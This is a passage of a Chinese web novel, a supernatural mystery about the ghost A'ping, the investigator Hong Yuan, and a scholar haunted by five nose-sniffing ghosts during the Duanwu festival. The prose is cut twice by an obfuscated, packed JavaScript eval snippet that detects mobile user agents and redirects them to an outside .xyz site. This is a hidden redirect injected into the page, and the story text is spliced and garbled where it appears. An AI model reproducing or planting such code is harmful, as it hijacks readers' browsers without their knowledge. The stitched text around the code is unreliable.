现在她站在英娘面前，比她高大半个头，用欣喜又恶谑的语气说话："娘，我叫阿苹，这名字是爹给我起的。" "他死了，十年前就死了。" 英娘不敢喘气，眼睛如手，描摹过她的五官，剖开眉梢眼角女人独有的温婉，似乎又看见她爹歇斯底里的脸。 是她。是他的女儿。 看着女儿，英娘心中生出一丝怜悯。怜悯是衣裳被勾出来的一段线，确实心疼但也多余碍事，等待的是剪刀咔擦，或是火焰一燎。 阿苹背着手说这些年的遭遇。絮絮叨叨，同她那个爹一样，令人生厌。 英娘听不进去，眼睛只随着阿苹的脚步绕来绕去。 等到阿苹终于转过身，她抄起木槌冲着整齐漂亮的后脑勺砸过去，阿苹一闪，往前飘了一步。 她转过脸，脸上是早知如此。人是这样的，期待时才会失望。 阿苹的期待是波涛中的小舟，有时翻覆，有时冲破险阻迎难而上。它不会消失，但可以永远沉没。 "阿娘，你不必那么紧张，我只是想来看看你过得好不好。当女儿的惦记你，你怎么就不回来看看我呢？" 她随风飘过来了，英娘吓得失神，尖叫着连滚带爬钻进屋子，抵着门让她快滚。 阿苹慢悠悠过来："你想小郎了吗？我去带他过来。" 她转身，看见两个仆人探在门外看动静。 英娘砰砰捶抵死的门，捶出血声，她依旧无比诚心祈求："阿苹，你走吧。我是对不起你……但我也想对得起自己……" 她忽然气得大骂，又像撕心裂肺哭嚎："我要是不走，早被你爹打死了！" 阿苹蠕动的脸如光流过。 悲戚与平静的较量中露出双唇平直的笑容。 "对，我是女儿，不值得你回来。" 小弟是男孩，他亲娘要他，她亲娘也要他。 转眼看两个仆人交头接耳、窃窃私语。她不喜欢被人评头论足，于是现身在他们身后，伸爪扣穿咽喉，折颈声清脆干净。 忽然一截影子飞来，脖子一紧，阿苹低头，看见自己被绳圈套上。 "阿苹！" 叫她名字的人正从院墙上翻下来，扑通落地，双手往回拉扯绳子。 被扰了兴致，阿苹怒火中烧："我已把账册给你了，你还要怎样！" "你我如何约定的？"洪垣不客气问，眼睛看向倒地的死人。 阿苹反问："妄自非议，他们自取死路，难道不是活该？" 蠢人因愚笨活该，爱财者因贪财活该，好色者因色迷心窍活该，苍蝇不叮无缝的蛋，怎么能是自己的错处呢？ 她拼命撕扯绳子，不愿就此罢手。 "那你娘不要你，也是你活该？" 洪垣一句话踹进她心窝里，她愣了一瞬。 "你明知不是你活该。不是你的错，亦不是你的报应。" "只是你不这般一遍遍想，你睡不着觉，回不了头！" 阿苹森森然转过身来，她只希望自己是个卑鄙无耻的人，是个冷血无情的畜生。 她朝着洪垣扑过去，洪垣往侧下一滚才躲开。 阿苹张开利爪，神情癫狂，几个来回间绳子已被踢到一边。她对着洪垣发鬼疯，总好过去找别人麻烦，只是洪垣被追得没空张嘴。 有人道，别怕与鬼斗，斗赢了自然欢喜，斗输了也不过变得和鬼一样。 洪垣都觉得这个"有人"真是豪气干云，腾挪间稳好了步子，阿苹再扑过来时，抽出匕首往上，削下她半只手来。 阿苹哀嚎着跌落在地，洪垣也偷得空隙喘上几口气。 庭院静静，云糊起了月亮。 "阿姐。" "阿姐……" 阿苹挣扎起来，泪眼模糊里看见小弟。 她很想恨他。他有两个娘，也有两个家，却不愿分享一个。 他就算是傻子也有人愿意养活他，他像个饕餮，吃掉了本该属于她的那一份。 可他是个傻子，什么也不懂的傻子。 他就这样天真的、纯粹的喜爱着姐姐，也天然的、无疑的踩着姐姐。 恨如果没有去处，将一文不值。 弟弟跑进她怀里，像只撒娇的小羊。 她没有什么菩萨心肠，亦不是旷达之人，她只想天地万物都明白自己的痛楚，即使之于天地那痛微不足道。 洪垣紧张得不敢动弹，萧慧极刚刚赶到率人砸开宅门闯进来，见几个仆人因闹鬼早已晕厥。 有一声轻轻的响，似踩在枯叶上。 小郎从阿苹怀里滚落，胸口一个血洞，心已空了。 蝉鸣很响，趴在鼓膜上振翅。 屋里的人似乎猜到什么，一声尖利的哭声刺出，冲到云霄。 萧慧极拉住洪垣往后退，一道白影飞进院来，男子挥袖一收，葫芦藏进袖里，阿苹踪影淡去。男子没有侧头，却是不悦："洪垣，你愣着做什么？" 洪垣缓不过神来。 这夜悄然过去，以高人收走厉鬼作为终结。 宅子的主人始终没有露面，与官府的所有交道都交给仆人打点。 他或许会再买一个儿子。 不知他会不会为上一个儿子办场丧事，掉滴眼泪充充场面，还是让埋儿坡多一个小鬼。他是个失了儿子的可怜人，这世间对他永远是宽容的。 “高人”替洪垣打点了羊庄群鬼的后事，也将阿苹发送阴司。 不久，阿苹后娘的死讯传来，她包袱空了，又成万衢一桩悬案。 贩鱼众人判了秋后问斩，贩羊的同样。两伙人各有各奇妙，一伙只要呆在一个监牢就争斗打骂不可开交，一伙兄弟情深约定了同生共死来世再做一家。 胡子知自己必死，又交待出自己的师傅，那个教他造畜和迷魂之法的上仙。 上仙名柏，会万千法术，专挑有缘人传授。 洪垣腹诽，那他人还怪好的。 从聻到万奇珍，再到胡子。人皮、迷魂、柏，似乎贯穿其中，而且这三人外貌都不俗，看来柏君专爱以貌取人。 城隍爷说的有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954984|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，莫不就是这个？想来万奇珍案远未真正结束。 五月，正午已经能闷出一身汗。 鱼珍楼后堂枝叶沉淀出冷艳的浓绿，如定格在寂静的春天，小李领着人快步穿过曲径，他家主人坐在纱帐后喂鱼。 "惠老板，近来可好？" 洪垣没让小李出声，挥开碍眼的枝杈，笑晏晏开口。 帘后人衣物如叶沙沙，片刻后答复："小人安好，劳贵使记挂。" 洪垣点头罢，开门见山："鱼头的事，想必惠老板也听说了。鱼头月月送如此大鱼到贵店来，惠老板当真不知其中有问题？" 帘后很静，人影凝在纱上，随着风气，渐渐荡漾。 "小人不知。" 洪垣笑笑，足有人长的鱼，哪是月月能够捞到几条，且一连持续数年的。他未必能猜到鱼头为了养鱼杀人害命，可要说一点怪异察觉不出，则是疯话。 只是装傻自欺欺人罢了。 "惠老板不知，可你的脸和腿却知道。"洪垣没再说下去，他这面疮和腿疾不是天生，自他和鱼头勾连才慢慢患上。 不再等他答话，也不愿看他幡然悔悟或是强词夺理，洪垣拱手告辞。 鱼珠楼的生意大不如前，店中也如后堂一般寂寥了。 从冷冷的阴影中走出，洪垣穿行在艳阳下的人流中。人潮来去，像一条金光滚滚的长河。 走到羊汤铺子，遇上慈幼院的小大，她出来跑腿帮闲，要攒钱做一身蓝衣裳赔人。羊汤价钱涨了回去，洪垣留她喝了一碗又各奔东西。 午间太热，压抑了食欲，洪垣没吃别的就往家去。 大路人多拥挤，小巷里屋檐成荫、安静清闲。她往巷子里绕道，走到抄金巷时一脚踢出个东西，追上去按住，是一块玉璧。 玉璧被土沁住，露出的几片颜色深绿，厚重面上刻着三个同心圆。 简直是天意，天不愿她花钱。 洪垣用袖子乱擦一气，缝里的土仍是顽固，干脆走到河畔，在河水中将泥土洗去，又找一家铺子穿上红线。 再看玉璧，竟和萧慧极原来那个十分相似。 麟城建成千年，不知多少英雄人物打这走马而过，因此大墓不少，说不准前后这两块玉璧都曾属于一个主人。 洪垣握着玉璧，脚步都快了些，一阵风回到家，到隔壁敲门。 她常来往，不需要人引路，走到萧慧极院里，猛咳几声。 她没到院门他就知道，非要装模作样接着看书，等她到面前了才肯抬头。洪垣抬手一松，红线穿过指缝，玉璧坠着晃悠。 "怎么样？是不是和原来那个一模一样？" 玉璧像轮模糊的月亮，月后的脸清晰真切。她笑容在树影中被风吹动，眼睛在明暗交替中似星闪动。 一眼可以看到她皮肤的纹路和将将溢出的汗珠。 萧慧极一把拿过玉璧，不声不响系在腰上。 洪垣咧着嘴阴阳怪气起来："龙眼识珠，凤眼识宝，牛眼识青草。我看你就是不识货——" "我没说不好，"他低着头来回调整玉璧的位置，左一点不好，右一点也不对，最后别别扭扭去抓书，"我很喜欢。" 32. 捉婿（一） 端阳一早，洪垣就在家门前挂上菖蒲艾叶，上街买了粽子鲜果、五毒饼、菖蒲酒，左右提着回来时，见萧慧极站在家门前，脚边放着一堆大同小异的东西。 洪垣这么早出门备过节用的东西，真是太阳打西边出来了。萧慧极打量着，眼中多少带些不可思议地揶揄。 洪垣把他拍开："怎么了？不许早起？" 打开家门，萧慧极拎几趟东西进来，挽了衣袖就要开始打水洒扫。洪垣给祖宗们摆好瓜果，从屋里出来："你干什么呢萧慧极？" 萧慧极双手捧着一只桶："端阳休沐，父亲、母亲到庄子上去了。我留这和你过节，不得打扫一下。" 起这么早难道是为了在家里吃点心吗？ 洪垣把桶扔到一边，拽他出门，刚还蔫头巴脑的洪文简从一团拉伸成一条线，撞翻桶飞出门去。 端阳节极热闹，走百病、赛龙舟、击球比武荡秋千，街上人头攒动，各色衣裳织成腕间佩戴的五彩绳。 早上沿着天街游览，买三个香囊，洪文简也分到一个。 午饭吃了蒸角和卷饼，到城隍庙乘凉拜神。 今日城隍庙格外拥挤，丘无玷被旺盛的人气逼到城隍塑像头顶上，人人忙着拜神，可今年神全不在。听不见他们的喜怒哀乐，成全不了他们的大小祈求。 但对明日怀着幻想终归是美好的。 下午听说胜春楼有酒会诗会，立马前去凑热闹，文人雅士引人喝彩，不知今日又要有几首传唱天下的诗篇。 挥毫纸落如云烟，坠在王郁青面前，他忙着提笔记下今日所见。 他方二十出头年纪，任著作局校书郎，虽还未成名，但也希冀有朝一日名动四方。 流连于此，不觉日暮，华灯初上。 王郁青忙收了纸笔挤出人群，夜里的胜春楼彩灯如织，有天宫之美。但他不敢耽搁，得快些步行回住处。 那地偏远得很。 校书郎俸禄算是优厚，但在麟城生活仍需节俭，尤其他酷爱买书，更遑论还有不少名贵的笔墨纸砚，他早已倾心神往许久。 于是只能在吃穿住行上克扣，租住在化文观里。 化文观有上百年历史，战乱中被焚毁后经简单修葺，只余原来的十分之一。偏僻、简陋，加之接连病死多人太过晦气，人陆续搬走，房价一降再降。 或许是天气渐热，王郁青近来总是心神不宁。 他常觉得背后有人。 起初是夜里秉烛读书，正到酣畅淋漓处，脊背忽然一冷，有黏黏哒哒湿冷冷的东西爬上。浑身一抖回头望去，原是窗户没有关紧。 起身插上窗户，重回桌前，眼睛来回数遍，字难连成词句，心已飘到身后，背仍湿湿的冷着。 隔了几天，将这事慢慢淡忘，窗不再合得死死的，下值回家的时间又推迟到夜里。 到化文观的夜路本就不好走，安静到有些瘆人。 他心慌慌，强作镇定没有一口气小跑起来，心在嗓子眼里蹦跳，咚咚咚…… 心跳和呼吸从身体内传来，身外只有自己的脚步声，走着走着，耳朵已蒙了油纸，变得模糊。 好像是一个脚步声，好像是两个脚步声。 鞋底从雨后泥泞的路上撕开，冷气缠上脚腕，抓着他的双脚，亦步亦趋。 好像—— 好像有人贴着他，学他走路。 汗流浃背，只有脚脖子是冷的，一股柔和绵长的气拂着脚跟，那是——呼吸？ 呼吸渐渐急促，无端兴奋起来，即欲贴到脚上。他再佯装不了，往后踢了一脚，夺路而逃。 有什么东西真被踢了出去，他不敢回头不敢回想，只能安慰自己是踢了块石头。 王郁青不敢走夜路了，但屋子租了一年，只能硬着头皮住下去。于是他每日天一擦黑就急着回化文观，趁着路边还有零星灯火行人，免得再遇见什么不干净的东西。 回到屋中，必定先关窗锁门，多费些钱也要点着蜡烛入睡。 夏夜暴雨，潮湿闷热，热气凝结成水珠挂在身上，令他安心。雨夜安睡无梦，却在半夜惊醒，烛火已经熄灭，一片漆黑。 浑身滚烫如着火，汗如雨下，喉中心悸不止，慌乱却有力地想闯开胸膛。 他侧卧着，身后有一道目光。 无比清晰地能感觉到，它紧贴着床沿，低着头，低着眼睛，在看他露出的侧脸。 它一动不动，也不离去，耐心十足，似乎在等他睁眼。 不能睁眼，不能让它知道自己醒了。王郁青冷静下来装作熟睡，心跳慢慢缓和，那目光仍在着，直至鸡鸣天晓。 一夜未睡，神思倦怠，满面憔悴。 他心里开始打退堂鼓，左右算钱也不够换个住处，刚打起当书换钱的主意，就狠狠拍自己脑袋。幸而第二晚一夜无事，紧接着端阳节来到，麟城中到处祈福辟邪，又觉得是自己疑神疑鬼。 从胜春楼回来，王郁青将今日所记整理誊抄，不觉间困意袭来，枕着手睡去。 "呼。" 烛火被吹灭。 心惊肉跳，刹那清醒，眼皮自己迸开，入眼只有浓墨似的夜。 门窗早已紧闭，何处来风将蜡烛熄灭。 闭着眼胡思乱想间，有什么东西碰了下发髻，顺着往下，捏了捏他的后脑，原来是只手。 一只手，两只手，三只手……已数不清楚多少，轻轻摸索，头骨上如有万蚁爬行啃食。 "找对了吧？先生你说句话。" "你轻声些！" "他已熟睡，你们这些窝囊废到底怕什么？" "今天轮到我了，挪过去些。" "要我说一起嗅得了。尽弄些臭规矩，大善人不让嗅，大恶人也不让嗅，现在还要轮着来，咋能吃饱嘛！" "蠢货！之前的人让你们一起嗅，一夜人就让你们嗅死，弄得此地冷冷清清，每日食不果腹。你们究竟懂不懂什么叫细水长流。" "好好好——先生息怒——我等都听先生的。" 王郁青已是吓得半死，不知遇上了什么妖怪，只觉头上许多双手纷纷移开，忐忑片刻，听见有声道："错了错了，往左边嗅。" 后脑勺被坚硬的物体抵住，冰冷的钝痛愈发尖锐，头皮要从那一个点裂开。 是妖怪的鼻尖。 在逃窜与继续忍耐间，王郁青选择立身尖叫。如条上岸的鱼，他挥着烛台把桌椅全都掀翻，屋里伸手不见五指，晕头转向中才找到屋门撞身逃出。 那妖怪似是没想到他还醒着，被他吓了一跳，愣了片刻才追出去。 廊下月色如银，王郁青回头只见身后有五条影子并排联袂，跳着追他。痛悔看这一眼，他吓得魂飞魄散，失了神志，大叫着在观中逃窜，连路都认不清了。 "嘭"的一声，好像撞到柱子上，晃晃脑袋，看见一个破洞，麻线毛茸茸的，洞开在衣领一侧。 衣领往上是银白的胡须和一张慈眉善目的脸。 老头抄起拐杖，把追来的妖怪打得遁走。王郁青双手举在胸前，目瞪口呆，生出几丝羞愧。 老头姓沈，瞧那身手，年轻时也是一位英雄好汉，王郁青对他千恩万谢，请沈老头到屋里喝杯热酒。 重新掌上灯，将炉火挑红温了酒，几盏下肚，王郁青惊魂稍定，问起方才那是何物。 沈老头才说起，这不是怪物，而是鬼。 此鬼名唤五奇鬼，也称作一目五先生，其中四鬼皆是瞎子，只有一鬼生有一目，能够视物，因此四鬼都听先生号令。五奇鬼以鼻嗅人为餐，五鬼若共嗅一人，则此人当夜即死。 王郁青又出一身冷汗，今夜真是万幸，差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可声音不见了。 "贤婿啊，你怎么搬这来了？" 沙沙，沙沙，王郁青伸出头看，门外空空一片，只有夜色染蓝的墙。 "那五个已经被我教训过，再不会来打搅你啦！" 沙沙，沙沙，是衣裳摩擦的声音。 他循着声音向上望了一眼，沈老头爬在屋顶，蓝的发黑。 眼泪脆生生掉下来，鼻涕也是。 "贤婿，贤婿，跟我回家看看新娘子吧。" 王郁青嗓子险些撕裂，双手弹出去把门拉紧，连滚带爬逃回床上，双手拉起被褥在身前结成铁甲盾牌阵防御。 屋外没了动静，不知老头是不是已经离开，他松懈下来，双手垂落，望见自己怀里抱着有一颗人头。 那是个姑娘的人头，对着他柳眉倒竖："你要是敢答应我爹，我今夜就带你走。" 王郁青吓得发疯，满头大汗坐起来，才惊觉是梦。 脑子一片混沌，听见砰砰撞门声，他跌跌撞撞过去，扣开窗户纸鼓足了劲才敢往外偷看一眼。 屋外没有人影，可撞门声照旧咚咚作响。 细听声音是从下方传来，扣大窗纸向下看—— 一个人头正在撞门。 倒霉蛋双眼一翻，横倒在门前。 端阳节后，洪垣无所事事，照例上城隍庙一趟。刚到街口，看见城隍庙前围起不少人看热闹。 田彩女放着扫帚拉扯一人："公子，公子！你不能在庙里过夜！这不是馆舍逆旅！" 那人死死抱着门柱，像死活不愿拉磨的倔驴："我不走！我不走！我不走——！"